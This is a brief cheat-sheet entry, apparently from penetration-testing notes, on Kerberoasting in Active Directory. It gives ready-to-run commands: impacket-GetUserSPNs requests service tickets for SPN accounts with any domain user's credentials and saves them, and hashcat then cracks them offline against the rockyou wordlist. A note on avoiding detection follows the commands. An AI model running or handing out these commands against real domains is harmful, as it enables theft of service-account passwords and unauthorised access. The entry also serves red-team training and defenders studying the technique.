Kerberoasting

Roast SPN accounts and crack the TGS offline.

Requirements

Any valid domain user.

Attack

Terminal window
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -outputfile hashes.kerberoast
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
Warning

Requesting many tickets at once is noisy. In a real engagement, target specific SPNs.

Techniques

Seen in writeups